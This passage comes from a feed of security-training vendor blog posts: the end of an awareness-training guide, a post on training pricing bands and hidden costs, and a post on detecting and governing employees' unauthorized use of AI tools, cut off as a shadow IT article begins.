security-conscious culture Technology and training matter, but culture determines outcomes. Organizations where security is valued, not just mandated, consistently outperform those relying on compliance alone. ### Characteristics of security-conscious cultures Leadership walks the talk. Executives visibly participate in training and follow protocols. Reporting is celebrated. Employees who identify threats receive recognition, not punishment. Security enables work. Policies are designed to protect without creating unnecessary friction. New threats are discussed openly, not hidden from employees. ### Cultural transformation strategies 1. Secure visible C-level sponsorship for security initiatives 2. Identify advocates in each department to reinforce messaging 3. Recognize and reward security-conscious behavior with positive reinforcement 4. Share (sanitized) incident information transparently to maintain awareness ## What compliance requirements affect security training? Many regulations now mandate security awareness training: | Regulation | Training requirements | |------------|----------------------| | GDPR | Required for employees handling EU data | | HIPAA | Annual training for healthcare organizations | | PCI-DSS | Annual training for payment card handlers | | SOX | Training for financial reporting personnel | | NIST CSF | Recommended as core security control | Beyond compliance, organizations in regulated industries benefit from training that specifically addresses their regulatory context. Our [compliance training guide](/blog/compliance-training/) digs into this further. For framework-specific deep dives, see our guides to [HIPAA security awareness training](/blog/hipaa-security-awareness-training/), [NIS2 training](/blog/nis2-training/) for EU essential and important sectors, and [FTC Safeguards Rule training](/blog/ftc-safeguards-rule-training/) for US financial institutions. ## How do you measure training success? ### Primary metrics | KPI | Good | Excellent | |-----|------|-----------| | Phishing click rate | <10% | <5% | | Report rate | >50% | >70% | | Training completion | >90% | >98% | | Time to report | <1 hour | <15 minutes | ### Secondary metrics Track security incident volume trends, the types of incidents occurring, employee sentiment toward security, and audit finding reductions over time. ### Reporting framework Monthly security awareness dashboards should include simulation results with trend analysis, training completion rates by department, notable incidents and near-misses, and recommended focus areas for the coming period. ## Getting started: your first 90 days ### Days 1-30: foundation Secure executive sponsorship and budget. Select a platform vendor through structured evaluation. Conduct a baseline phishing assessment. Identify high-risk roles for prioritized training. ### Days 31-60: launch Deploy initial training modules organization-wide. Begin your regular [phishing simulation program](/blog/phishing-simulation-training/). Establish reporting mechanisms and response procedures. Communicate the program to all employees. ### Days 61-90: optimize Analyze initial data and adjust your approach. Deploy role-specific advanced training. Recognize early adopters and security champions. Plan for ongoing program evolution. ## Where to apply this in your organization The same training framework looks different inside a hospital, an MSP, or a SaaS company. Pick the entry point closest to your context: - **By industry**: see role-aware playbooks for [healthcare](/industries/healthcare/), [financial services](/industries/financial-services/), [SaaS and tech](/industries/saas-tech/), [manufacturing](/industries/manufacturing/), and seven more on the [industries hub](/industries/). - **By use case**: load templates for [employee onboarding](/use-cases/employee-onboarding/), [annual compliance training](/use-cases/annual-compliance-training/), [cyber insurance readiness](/use-cases/cyber-insurance-readiness/), or [breach response rehearsal](/use-cases/breach-response-rehearsal/) on the [use cases hub](/use-cases/). - **By threat**: drill into the attack patterns your training has to neutralize, including [phishing](/threats/phishing/), [ransomware](/threats/ransomware/), [business email compromise](/threats/business-email-compromise/), and [deepfake](/threats/deepfake/) on the [threats hub](/threats/). ## Where to go from here Security awareness training is no longer optional. The question isn't whether to invest, but how. Programs that treat training as a checkbox exercise (annual videos, generic content, no measurement) waste money and create false confidence. Programs that use interactive learning, continuous reinforcement, and cultural transformation build genuine resilience. Your employees interact with more potential threats daily than any security tool. Equipping them to recognize and respond appropriately is the highest-return security investment you can make. The technology to protect your organization exists. The people to operate it are already on your payroll. Training bridges that gap. ## Frequently asked questions ### What is security awareness training? Security awareness training is a structured program that teaches employees to recognize, avoid, and report cybersecurity threats in their daily work. Topics typically include phishing detection, password hygiene, social engineering defense, safe browsing, data handling, and incident reporting. Modern programs move beyond annual videos and include interactive simulations, phishing exercises, and role-based content. ### Why is security awareness training important? The Verizon 2024 Data Breach Investigations Report found that 68% of breaches involved a non-malicious human element. Technical controls alone cannot stop attacks that target employee judgment. Trained employees report suspicious emails, verify unusual requests, and avoid risky behaviors that bypass firewalls and antivirus. ### What should security awareness training cover? Core topics include phishing email detection, password security and multi-factor authentication, social engineering recognition, safe use of personal devices and removable media, data classification and handling, and incident reporting procedures. Modern programs also cover AI-related threats, deepfake voice calls, business email compromise, ransomware response, and compliance requirements such as GDPR, HIPAA, or PCI DSS. ### How often should security awareness training be conducted? The SANS 2024 Security Awareness Report recommends monthly touchpoints rather than annual sessions. Short 5-to-10 minute modules delivered every 4-6 weeks produce measurably better retention than one long annual training block. Pair modules with monthly phishing simulations. High-risk roles such as finance and executive assistants should train more frequently. ### How do you do security awareness training? Start with a baseline phishing assessment and a platform that tracks completion. Deploy short, role-appropriate modules monthly. Run phishing simulations every 2-4 weeks. Build a one-click report button, give real-time feedback when employees click simulated lures, and recognize employees who report suspicious messages. Measure click rates, report rates, and time to report quarterly. ### How effective is security awareness training? A 2023 study published in the Journal of Cybersecurity found that organizations running continuous phishing simulations cut click rates from a median 32% baseline to under 5% within 12 months. Hoxhunt and Proofpoint report similar 70-90% click-rate reductions among active participants. Effectiveness depends on program consistency, not one-time deployment. For buyer-side perspective, see [how RansomLeak compares to Hoxhunt's gamification model](/blog/ransomleak-vs-hoxhunt/) and [our Proofpoint head-to-head](/blog/ransomleak-vs-proofpoint/). ### Does security awareness training work? Yes, when the program combines modules with hands-on practice and measures outcomes. Passive annual videos do not change behavior. Interactive simulations, phishing exercises, and just-in-time microlearning produce measurable reductions in click rates, credential disclosure, and malware incidents. Research from the National Training Laboratories shows hands-on learning delivers 75% retention versus 10% for reading. ### What is the best security awareness training? The best platform depends on organizational size, industry, and threat model. Enterprise buyers typically evaluate KnowBe4, Hoxhunt, SoSafe, Proofpoint, and RansomLeak on content quality, phishing simulation depth, SCORM support, and AI threat coverage. Small and mid-sized teams often start with free or freemium options and add paid modules as they scale. SMB and MSP-focused buyers frequently shortlist usecure alongside Wizer and CanIPhish; our [RansomLeak vs usecure comparison](/blog/ransomleak-vs-usecure/) walks through where each tool fits in a small-team program. ### How much does security awareness training cost? Entry-level platforms start around $10-25 per user per year. Enterprise platforms with advanced phishing simulations and analytics range $30-60 per user per year, often with volume discounts above 500 users. Free options exist for small teams, and SCORM-packaged content allows organizations with an existing LMS to avoid duplicate licensing. ### What topics should security awareness training cover? Priority topics in 2026: phishing and spear phishing, business email compromise, ransomware delivery and response, vishing and smishing, deepfake and voice-cloning attacks, AI prompt injection, password security and MFA, safe remote work, and data handling under GDPR, HIPAA, or PCI DSS. Role-based content for executives, finance, developers, and IT admins addresses attacks these groups face disproportionately. --- *Ready to see what engaging security training looks like? Try our free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), or [Business Email Compromise](/exercises/business-email-compromise/) exercises. Browse our full [training catalogue](/catalogue/) for 60+ interactive exercises across [security awareness](/catalogue/security-awareness/), [privacy & compliance](/catalogue/privacy-compliance/), [AI security](/catalogue/ai-security/), and [real-world incidents](/catalogue/real-world-incidents/).* --- ### Security Awareness Training Pricing 2026 Source: https://ransomleak.com/blog/security-awareness-training-pricing/ Most security awareness vendors will not show you a price page. They want a demo, a discovery call, and a scored account before a number leaves the room. Security awareness training pricing is the per-user annual fee organizations pay to license cybersecurity education, phishing simulations, and compliance modules for employees. List prices typically range from $5 to $50 per user per year. Costs vary by vendor, content format, simulation depth, and contract length, and most vendors do not publish public pricing. Prefer to see the content first? The [security awareness exercise catalogue](/catalogue/security-awareness/) has 100+ interactive scenarios free to try without signup. This post focuses on pricing math. For the full security awareness training context, see our [Security Awareness Training Guide](/blog/security-awareness-training-guide/); for vendor-by-vendor positioning, see the [Best Platforms for 2026](/blog/best-security-awareness-training-2026/) roundup; for ROI math, see the [effectiveness research](/blog/security-awareness-training-effectiveness/). ## How much does security awareness training cost per user? Public per-seat pricing across the category falls into three bands. SMB and freemium plans run $0 to $12 per user per year. Mid-market plans run $15 to $30 per user per year. Enterprise plans run $30 to $50 per user per year, with discounts at higher seat counts and longer terms. These ranges hold across G2 review disclosures, vendor pricing pages where they exist, and procurement post-mortems published by buyers. The [2024 Gartner Magic Quadrant for Security Awareness Computer-Based Training](https://www.gartner.com/) treats anything above $40 per user per year as premium-positioned. The [2024 Verizon Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir/) puts the human element at 68% of breaches, which is the buying pressure that justifies the spend. [KnowBe4 publishes tiered list pricing](https://www.knowbe4.com/security-awareness-training-pricing) (Silver, Gold, Platinum, Diamond) with a quote calculator on its site, though final pricing depends on seat count and contract length. Hoxhunt, SoSafe, Living Security, CybSafe, and Proofpoint Security Awareness all run quote-only. Wizer offers a free baseline, with paid tiers starting at the low end of the SMB band. RansomLeak's [100+ interactive exercises](/learning/) are free to try without signup; paid deployments are quoted based on seat count and feature scope. For organizations under 500 seats, expect entry-level annual contracts in the $5,000 to $15,000 range. For 500 to 5,000 seats, expect $15,000 to $100,000. For 5,000+ seats, custom annual contracts of $50,000 to $500,000 are typical, before implementation fees and add-on modules. ## Why do most security awareness vendors hide their pricing? Hidden pricing is a deliberate choice, not a website oversight. Vendors run quote-only sales because list-price visibility erodes deal size at the top of the market. Three forces drive the opacity. Enterprise sales teams price on willingness to pay, and a public list lets buyers anchor low before the discovery call ever happens. Investor pressure on net retention pushes vendors to capture as much budget as possible per deal. Competitive intelligence cuts both ways. KnowBe4 raises prices on enterprise renewals at rates above the SMB list, and Hoxhunt sells at a premium to its public reviews. A list page would freeze that flexibility. The result is asymmetric information at the buyer's expense. Three buyers of identical platforms, identical seat counts, and identical feature sets can pay 2x or 3x different rates depending on negotiation, urgency, and AE quota cycle. Procurement teams that benchmark across G2 reviews, peer Slack groups, and competitive vendor quotes typically land 25% to 40% below the first verbal offer. If you want a side-by-side that breaks the opacity for one vendor, the [RansomLeak vs KnowBe4 comparison](/blog/ransomleak-vs-knowbe4/) walks through specific feature and pricing differences. For a broader market scan, the [best security awareness training of 2026](/blog/best-security-awareness-training-2026/) covers eight platforms with public price ranges where available. ## What factors determine the price of security awareness training? Six variables explain most of the variance between quotes for the same headcount. **Seat count and tier.** Per-user pricing typically drops 15% to 30% between the 500-seat and 5,000-seat thresholds. Above 10,000 seats, expect another 10% to 20% discount. Smaller orgs pay the rate-card high end. **Contract length.** Annual contracts list at one rate; two-year and three-year contracts earn an additional 10% to 20% discount. Multi-year terms also lock the vendor against per-seat price increases at renewal, which average 8% to 15% annually across the category. **Content depth.** Base packages include core phishing and awareness modules. Add-ons (deepfake training, GDPR detail, role-based content, custom-branded scenarios, executive-targeted modules) push the per-user rate up 30% to 100%. The [MGM Resorts security breach exercise](/exercises/mgm-resorts-security-breach/) is the kind of incident-based content typically priced as a premium module elsewhere; RansomLeak ships it in the base catalogue. **Phishing simulation cadence.** Monthly simulation campaigns are standard. Weekly campaigns and continuous simulation engines (Hoxhunt's flagship feature) push pricing up. [SANS Security Awareness Reports](https://www.sans.org/security-awareness-training/reports/) recommend at least monthly touchpoints, so this is rarely a feature you can drop. **Integrations and SSO.** SAML SSO, SCIM provisioning, Microsoft 365 connectors, and Slack integrations are sometimes paywalled at the enterprise tier. Mid-market plans that exclude SSO end up costing more in IT effort than they save on license fees. **Support model.** Self-service support is included. Dedicated customer success management (CSM) is bundled at enterprise tiers and unbundled below. CSM-led deployments cut time-to-value but add 10% to 25% to the contract. ## How do free, mid-market, and enterprise pricing tiers compare? Tiering across the SAT category is more consistent than the headline numbers suggest. Here is what each band actually delivers. **Free and SMB ($0 to $12 per user per year).** Wizer, KnowBe4's free phishing test, and a handful of freemium tools sit here. Expect a starter content library, basic phishing tests without true automation, and self-service support. Suited to teams under 100 employees with no compliance audit obligations. The [free security awareness training](/blog/free-security-awareness-training/) post breaks down 12 free options by content quality. **Mid-market ($15 to $30 per user per year).** Full content libraries, monthly phishing simulations, completion analytics, and SCORM export. KnowBe4 Silver, SoSafe Standard, NINJIO, and RansomLeak's standard tier sit here. Suited to teams from 100 to 2,000 employees with quarterly board-level reporting obligations. **Enterprise ($30 to $50+ per user per year).** Dedicated CSM, SSO and SCIM, custom content, AI threat modules including [MFA fatigue attack training](/exercises/mfa-fatigue-attack/) and deepfake response, and bespoke role-based paths. KnowBe4 Platinum and Diamond, Hoxhunt's flagship tier, SoSafe Premium, Proofpoint Security Awareness, and RansomLeak's enterprise package sit here. Suited to regulated industries, multi-region deployments, and orgs with audit obligations under SOC 2, ISO 27001, [HIPAA](https://www.hhs.gov/hipaa/for-professionals/security/index.html), PCI DSS, or [NIS2](https://digital-strategy.ec.europa.eu/en/policies/nis2-directive). Volume discounts above 5,000 seats reshape the math. A 10,000-seat enterprise contract often lands at the upper end of the mid-market rate per user, not the headline enterprise rate. Procurement negotiation matters as much as tier choice. ## What hidden costs should buyers expect beyond the per-seat license? The per-user license is the headline number, not the total cost. **Implementation and onboarding.** Most enterprise deployments include a setup fee of $2,500 to $25,000 depending on platform complexity, SSO integration scope, and content customization. Some vendors waive this for multi-year contracts; some bill it as a separate professional services line. **Add-on modules.** Phishing simulation libraries, compliance courseware (GDPR, [HIPAA training](/blog/hipaa-security-awareness-training/), broader [compliance training packs](/blog/compliance-training/)), and AI threat content are commonly priced as separate SKUs. A platform listed at $20 per user per year can land at $35 once the AI threat add-on and compliance pack are added. **Custom content development.** Branded scenarios, executive-targeted content, and industry-specific modules typically cost $5,000 to $50,000 per piece. The [invoice payment fraud exercise](/exercises/invoice-payment-fraud/) is one example of finance-team-specific content that earns its place in mature programs; building equivalent custom content runs into five figures. **Premium support.** 24/7 support, named CSM, and quarterly business reviews are typically enterprise-tier inclusions but get unbundled at mid-market pricing. **Renewal escalation.** Annual price increases of 8% to 15% are common at renewal. Multi-year contracts cap this. Single-year contracts expose buyers to it. **Lost productivity from poor content.** This is the largest hidden cost most buyers ignore. The [IBM 2024 Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach) puts the global average breach cost at $4.88 million. A training program that fails to change behavior leaves that risk on the table. The cheapest license is not the cheapest program. For technical teams that need [endpoint patching and EDR alert training](/exercises/endpoint-patching-and-edr-alerts/), make sure role-based content is included rather than billed as a custom-development add-on. This is a frequent gotcha at the mid-market tier. ## How to estimate your total security awareness training cost in 2026 A repeatable estimation method beats vendor-quote shopping. Use this five-step framework before the first sales call. 1. **Count seats.** Active employees plus contractors with corporate email access. Round up. 2. **Pick a tier.** Match your compliance obligations (SOC 2, ISO 27001, HIPAA, NIS2) and reporting needs to the SMB, mid-market, or enterprise band. 3. **Identify required add-ons.** Phishing simulation cadence, AI threat content, custom branding, role-based paths, compliance courseware. 4. **Estimate implementation.** Add 10% to 20% of year-one license for setup, SSO integration, and content customization. 5. **Forecast renewals.** Add 10% per year for years two and three. Negotiate a multi-year cap to flatten this. For a 1,000-seat mid-market deployment, the math typically runs $22 per user × 1,000 seats = $22,000 in license, plus $5,000 in implementation, plus a $10,000 AI threat add-on. Year-one total: $37,000. Three-year total without escalation cap: $122,000. ## Is RansomLeak pricing different from competitors? RansomLeak's training is interactive simulation-first, not video-and-quiz. That changes the cost equation in three ways. The full [100+ exercise catalogue](/catalogue/security-awareness/) runs without signup, so buyers evaluate content before the sales call, not after. This shortens evaluation cycles by weeks. Pricing is quoted against the same tier bands above. Smaller seat counts are not penalized with disproportionate per-user rates. SCORM export is standard at mid-market and above. Organizations with existing LMS infrastructure (Cornerstone, Workday Learning, SuccessFactors, Moodle) deploy RansomLeak content as SCORM packages and skip paying for cloud features they will not use. ## Frequently asked questions ### How much does security awareness training cost per user per year? Public per-seat pricing falls into three bands: SMB and freemium plans at $0 to $12, mid-market plans at $15 to $30, and enterprise plans at $30 to $50+ per user per year. Discounts apply at higher seat counts and longer contract terms. ### Why do KnowBe4, Hoxhunt, and SoSafe hide their pricing? Enterprise vendors run quote-only sales because public list pricing erodes deal size and removes negotiation flexibility. Three buyers of identical platforms can pay 2x or 3x different rates depending on procurement strength. Buyers who benchmark across G2 reviews, peer groups, and competitive vendor quotes typically land 25% to 40% below the first verbal offer. ### Is there free security awareness training that actually works? Yes. Wizer offers a free baseline tier for small teams, and RansomLeak's 100+ interactive exercises are free to try without signup and represent the same content paying customers receive. Marketing-driven free tools from larger vendors (such as KnowBe4's Phishing Test) are lead magnets, not full training programs. ### What is a fair price for enterprise security awareness training? For 1,000 to 5,000 seats, a fair total annual contract lands in the $15,000 to $75,000 range, depending on add-ons and contract length. For 5,000+ seats, expect $50,000 to $500,000 with multi-year terms. Anything above $50 per user per year for a 5,000-seat deployment is overpriced unless the vendor is delivering custom content development. ### What does security awareness training implementation cost? Implementation fees run $2,500 to $25,000 for enterprise deployments, depending on SSO integration complexity, content customization, and the number of locales required. Some vendors waive implementation for multi-year contracts; others bill it separately. Confirm in writing before signing. ### How do I avoid renewal price hikes? Lock in a multi-year contract with a renewal cap of 5% or less. Annual contracts are the most expensive form of SAT because vendors raise prices 8% to 15% annually. Three-year contracts with a 5% cap typically save 15% to 25% over three single-year renewals. ### Does SCORM export change the pricing math? Yes. SCORM-packaged content lets organizations with an existing LMS (Cornerstone, Workday Learning, SuccessFactors, Moodle, Docebo) avoid paying for the vendor's cloud platform features they will not use. RansomLeak, SoSafe, NINJIO, CybSafe, Living Security, and MetaCompliance all support SCORM; Hoxhunt does not. ### What is the cheapest way to start a security awareness program? Pair a free baseline (Wizer or RansomLeak's free catalogue) with a paid phishing simulation tool for the first six months. Measure click rates, report rates, and time-to-report. Use that data to scope a paid platform contract from a position of evidence rather than guesswork. ## Skip the demo gauntlet Run an exercise yourself before you talk to anyone. The [exercise library](/learning/) is open, free, and takes 5 to 10 minutes per scenario. For a written quote, [contact our team](/contact-us/) with your seat count and compliance scope. We return a number within one business day. --- ### Shadow AI: Unauthorized AI Usage Problem Source: https://ransomleak.com/blog/shadow-ai/ Shadow AI is what happens when an employee signs up for ChatGPT with a work email, pastes a customer list into a free Gemini tab, or asks Copilot to draft a security policy nobody has reviewed. The tool solves a real problem in minutes. The data leaves the building on the way. The security team has no idea it happened. That gap is the core of the shadow AI problem, and it is growing faster than any governance framework in place. ## What is shadow AI? Shadow AI is the use of artificial intelligence tools, models, or services inside an organization without the knowledge or approval of IT, security, or procurement. It includes consumer chatbots like ChatGPT, Gemini, and Claude, AI features baked into SaaS tools like Notion, Slack, and Zoom, browser extensions that call external models, personal API keys employees run against company data, and in-house models that a single team spins up without review. Shadow AI is a subset of [shadow IT](/blog/shadow-it-security-risks/), and it behaves the same way. Employees adopt the tool because it is faster than the official path. Security finds out later, usually because of an incident, an audit, or a curious DNS query. The difference from classic shadow SaaS is that AI consumes unstructured text, so the data leakage surface is wider, and the outputs are generated content that employees act on without a clear audit trail. ## Why shadow AI is exploding The adoption curve for generative AI has no precedent in enterprise software. OpenAI reported 100 million weekly active users for ChatGPT in late 2023, and that line kept climbing through 2024 and 2025. Microsoft, Google, and every major SaaS vendor shipped AI features into products employees already use. The friction to adopt a new AI tool is usually one click or zero. Four drivers make shadow AI harder to contain than earlier shadow IT waves. **Productivity is real.** AI speeds up drafting, summarizing, coding, research, and analysis by real and measurable amounts for most knowledge work. Employees adopt AI because it pays back inside a single task, not after a quarter of onboarding. **Free tiers are good enough.** ChatGPT, Gemini, and Claude all offer capable free tiers that run inside a browser tab. There is no purchase order, no IT ticket, no training requirement. **SaaS vendors enable it by default.** Notion AI, Slack AI, Zoom AI Companion, and Microsoft 365 Copilot integrate into tools that employees already have. Sometimes the AI features are on by default, sometimes a single admin toggle enables them for the whole organization, often without a thoughtful data review. **LLMs trivialize custom tooling.** A data analyst can wire an OpenAI API key into a Google Sheet and call it from a cell. A support lead can drop a chatbot widget onto a Zendesk macro. Individual builders are shipping shadow AI faster than any procurement process can reasonably respond. ## Shadow AI risks by category Shadow AI creates six risk categories worth tracking separately. Each maps to a control you probably already have for other SaaS, adjusted for the AI data path. **Data leakage.** The biggest and most common risk. Employees paste confidential data into AI tools that retain it, train on it, or log it. The 2023 Cyberhaven analysis of 1.6 million workers found that 11% of the content pasted into ChatGPT was confidential, covering source code, customer data, and regulated information. Most of that use was shadow. See the [AI data leakage deep dive](/blog/ai-data-leakage-employees/) for the fuller picture. **Compliance exposure.** GDPR, HIPAA, SOC 2, PCI DSS, and most industry-specific frameworks require you to know your sub-processors and data flows. A shadow AI tool is a sub-processor you did not disclose, under terms you did not negotiate, processing data the regulator assumed you controlled. Auditors are now asking the question directly. **IP leakage.** Proprietary code, unreleased strategy, customer lists, and trade secrets pasted into consumer AI tools leave the organization. Even when vendor terms promise not to train on the data, it still lives in prompt logs, crosses vendor infrastructure, and is accessible under defined circumstances to vendor staff. **Hallucination-driven errors.** AI tools produce confident, plausible, incorrect outputs. When employees act on those outputs without verification, bad decisions follow. The 2023 Mata v. Avianca case in the Southern District of New York is the canonical example: a lawyer filed a brief citing six cases that ChatGPT invented. Similar patterns show up in medical notes, engineering specs, and financial summaries. **Cost sprawl.** Shadow AI quietly builds a long tail of monthly subscriptions paid on personal cards, team cards, or through SaaS marketplaces. Individual costs are small, aggregate costs are not, and procurement loses the negotiating position it needs to demand enterprise terms with meaningful data protections. **Audit failures.** When a SOC 2, ISO 27001, or HIPAA auditor asks which AI tools process regulated data and you do not have a clean answer, the audit finding is predictable. Shadow AI generates these findings without any incident needed. ## Shadow AI in common SaaS products Some of the fastest-growing shadow AI is not a chatbot at all. It is a feature inside software employees already have. **Notion AI.** Opt-in per workspace, with paid and free-trial access. Processes the contents of Notion pages, and by default may retain prompts for abuse monitoring per Notion's current privacy docs. Organizations that enable it without a data review end up sending internal wiki content through OpenAI or Anthropic infrastructure. **Slack AI.** Summarizes channels, threads, and documents. Admins can enable it at the workspace level, and the summaries process message content in real time. Salesforce publishes a Slack AI privacy page describing encryption and data handling, but shadow enablement by an enthusiastic admin still creates an undocumented data flow. **Zoom AI Companion.** Generates meeting summaries, action items, and chat responses. Default settings have varied over time. In 2023, Zoom updated its terms to clarify that customer content is not used to train AI models, after public pushback. Organizations that do not actively review those settings still inherit whatever the defaults are today. **Google Workspace Gemini.** Integrated into Gmail, Docs, Sheets, and Meet. Enterprise licensing gives admin controls, but Gemini usage often lands in the tenant before data residency, retention, and regulated-content policies have been reviewed. **Microsoft 365 Copilot.** Grounded in the user's Microsoft Graph content, which is useful for reducing hallucination and keeping data inside the tenant boundary. The shadow risk is lower than consumer tools, but Copilot still surfaces data based on the user's effective permissions, which exposes long-standing overshare problems in SharePoint and OneDrive. If your permissions hygiene is weak, Copilot is going to tell the whole company about it. **Browser and IDE extensions.** GitHub Copilot in the IDE, Cursor, Continue, Windsurf, Grammarly AI, and a long tail of Chrome extensions read content from the tool they augment. Each one is an AI data path worth reviewing. ## How to detect shadow AI in your organization You cannot govern what you cannot see. Four telemetry sources together cover most shadow AI. **DNS and network logs.** Watch for traffic to `chat.openai.com`, `api.openai.com`, `claude.ai`, `api.anthropic.com`, `gemini.google.com`, `chat.mistral.ai`, `api.together.ai`, `replicate.com`, `huggingface.co`, and `perplexity.ai`. Add domains for any AI startup your industry is excited about this quarter. The list grows monthly, so make this a living policy. **CASB and SSE policies.** Netskope, Zscaler, Microsoft Defender for Cloud Apps, and similar tools publish catalogs of AI services with risk ratings. Turn on inline monitoring for AI categories, then decide per domain whether to allow, block, or allow-with-DLP. **Expense and procurement data.** Pull credit card transactions, expense reports, and SaaS marketplace invoices. Search for AI vendor names, API billing references, and the word "AI" in descriptions. This often surfaces paid shadow AI that network monitoring misses because it runs from personal devices. **DLP alerts on AI domains.** Once you know the domains, add them to your DLP policy. Alert on paste of tagged data classes (source code, PII, payment data, PHI) to any AI domain. The first week of alerts is usually a wake-up call. **Employee surveys.** A short, non-punitive survey per department about which AI tools they use, why, and what data they send often beats technical telemetry for coverage. People will tell you when the question is framed around "help us help you," not around punishment. Combine at least three of these sources. Any single one will miss something. ## Shadow AI governance framework Shadow AI does not vanish when you ban it. It moves to personal phones, home laptops, and hotspots. The governance programs that work combine a visible allow list with a clear approval path and ongoing training. **Allow list first, block list second.** Publish a short list of approved AI tools with a one-line description of what each is approved for. Enterprise ChatGPT for general productivity. GitHub Copilot Business for code. Microsoft 365 Copilot for M365 content. Claude for Work for long-document work if that fits your stack. Employees looking for an option usually find the allow list first. **A fast approval process for everything else.** Create a lightweight intake for new AI tools: tool name, use case, data classes, vendor terms review, and sign-off. Fast means two weeks, not two quarters. If the official path is faster than the shadow path, shadow use shrinks on its own. **Negotiate enterprise contracts aggressively.** Every major AI vendor offers enterprise tiers with no training on prompts, configurable retention, SSO, DLP connectors, and SOC 2 reports. Those tiers cost more than consumer subscriptions, and they cost less than one serious incident. Bundle licensing with procurement reviews so the right tier lands on every eligible employee. **Build training that reflects current reality.** The [AI Security catalogue](/catalogue/ai-security/) includes exercises on [AI data leakage](/blog/ai-data-leakage-employees/), [prompt injection](/exercises/clawdbot-prompt-injection/), [Safe GenAI Usage](/exercises/safe-genai-usage/), [AI-powered phishing](/blog/ai-powered-phishing/), and the [OWASP LLM Top 10](/blog/owasp-llm-top-10/). Short, scenario-based training sessions beat long videos and policy PDFs. **Plan an incident response path for AI.** Assume a prompt injection exfiltrates a mailbox, an employee leaks regulated data through a chat tool, or a hallucinated output causes a customer-facing error. Rehearse who pages who, who calls the vendor, who notifies the regulator. Every tabletop you run now lowers response time later. **Review the program quarterly.** AI vendor terms, product features, and defaults change frequently. Put a recurring calendar event on the CISO and CPO calendars to re-read the privacy pages of every approved tool. The program that worked last quarter may not match what the vendor is promising today. The [NIST AI Risk Management Framework 1.0](https://www.nist.gov/itl/ai-risk-management-framework) is a helpful scaffold for larger programs, as are the ISO/IEC 42001 AI management system standard and the OWASP LLM Top 10 if you are mapping technical controls. None of those replaces the core operational pattern: visibility, allow list, approval path, training, incident drills, review. ## Training employees to report AI use responsibly The best shadow AI programs treat employees as allies, not suspects. People who feel punished for disclosing a tool they were already using will stop disclosing. Three cultural moves pay off. **Make reporting easy and safe.** One short form. One promise of no retaliation for good-faith disclosure. Public recognition for the people who flag shadow AI they introduced. A [human firewall](/blog/human-firewall-training/) culture shows up in the number of voluntary reports, not in the number of people who got in trouble. **Close the loop.** When an employee reports a tool, respond. Either add it to the allow list, start the review, or explain the risk. Silence teaches people that reporting is pointless. **Tell them what happened after an incident.** Share sanitized postmortems of AI-related incidents. When employees see concrete examples, the abstract policy becomes real. Shared learning compounds. Pair that culture with the AI-specific training your team actually needs. The [AI Security catalogue](/catalogue/ai-security/) covers the patterns. The [AI data leakage guide](/blog/ai-data-leakage-employees/) covers the single biggest risk. The [ChatGPT security risks](/blog/chatgpt-security-risks/) deep dive covers the tool most people are already using. ## FAQ ### What is the difference between shadow IT and shadow AI? Shadow IT is the use of any unauthorized tool, including cloud storage, SaaS apps, and personal devices. Shadow AI is the subset that involves AI tools or AI features embedded in other tools. The data leakage surface is wider because AI consumes unstructured text and generates content employees act on. ### Why is shadow AI so dangerous? Shadow AI combines data leakage, compliance exposure, IP risk, hallucinated outputs, cost sprawl, and audit failures in one pattern. The tools are trivially easy to adopt, and the data paths are often invisible to security tooling that was configured before AI arrived. ### How common is shadow AI? Very. Gartner projects that by 2027, roughly 75% of employees will acquire or modify technology outside IT's visibility. Cyberhaven's 2023 research found 11% of content pasted into ChatGPT was confidential. Every recent CISO survey lists AI governance in the top five priorities. ### Can DLP detect shadow AI? DLP catches some shadow AI, specifically paste and upload of tagged data classes to known AI domains from managed devices. It misses unmanaged devices, mobile apps, and novel AI services your DLP vendor has not categorized yet. Combine DLP with DNS logging, CASB, and expense reports for coverage. ### What is the first step to reducing shadow AI? Publish an allow list. Before you try to block anything, tell employees which AI tools are approved and for what. Most shadow AI comes from people who could not find an approved path. ### Should we ban ChatGPT? A blanket ban tends to push usage underground rather than stopping it. A better pattern is to deploy ChatGPT Enterprise or a peer product, route access through your identity provider, apply DLP to AI domains, and provide clear guidance on what data is acceptable to send. ### How do I train employees on shadow AI? Short scenario-based exercises work better than policy PDFs. The [AI Security catalogue](/catalogue/ai-security/) has ready-made exercises on AI data leakage, prompt injection, and AI-driven social engineering. Pair those with a quarterly refresher on your current allow list. ### How does shadow AI affect audits? Auditors for GDPR, HIPAA, SOC 2, and ISO 27001 now ask directly about AI tools that process regulated data. Any AI processing not documented in your sub-processor list, data flow diagrams, and access reviews is a likely finding. Cleaning up shadow AI before audit season is cheaper than remediating the finding. ## Bottom line Shadow AI is shadow IT with a wider blast radius. The tools are free, the adoption curve is vertical, and the data leaks quietly. Regulators, auditors, and your own risk register are catching up fast. Visibility plus an allow list plus training plus incident drills beats any single heroic control. If you are ready to take the first step, pair the [AI Security catalogue](/catalogue/ai-security/) with the [AI data leakage guide](/blog/ai-data-leakage-employees/), then move the organization off free-tier consumer accounts over the next quarter. ## Sources - [Cyberhaven: 11% of data employees paste into ChatGPT is confidential, 2023](https://www.cyberhaven.com/blog/4-2-of-workers-have-pasted-company-data-into-chatgpt) - [Gartner: Business technologist trends and forecast](https://www.gartner.com/en/documents/4018591) - [NIST AI Risk Management Framework 1.0](https://www.nist.gov/itl/ai-risk-management-framework) - [ISO/IEC 42001 AI Management System Standard](https://www.iso.org/standard/81230.html) - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) - [Stanford HAI 2024 AI Index Report](https://aiindex.stanford.edu/report/) - [OpenAI Enterprise Privacy](https://openai.com/enterprise-privacy/) - [Mata v. Avianca, Inc., 1:22-cv-01461 (S.D.N.Y. 2023)](https://www.courtlistener.com/docket/63107798/mata-v-avianca-inc/) - [Verizon 2024 Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir/) - [Zoom AI Companion privacy update, August 2023](https://blog.zoom.us/zooms-term-service-ai/) --- ### Shadow IT: Security Risks in Your SaaS Stack Source: https://ransomleak.com/blog/shadow-it-security-risks/ A product manager signs up for an AI writing tool using her corporate email. She pastes the company's Q3 roadmap into it to help draft a press release. The tool's terms of service allow it to use input data for model training. Three months later, a competitor's analyst finds fragments of that roadmap in the tool's outputs. Nobody approved the tool. Nobody reviewed its privacy policy. Nobody even knew it existed on the network until the legal team got a call. ## What is shadow IT? Shadow IT is the use of hardware, software, 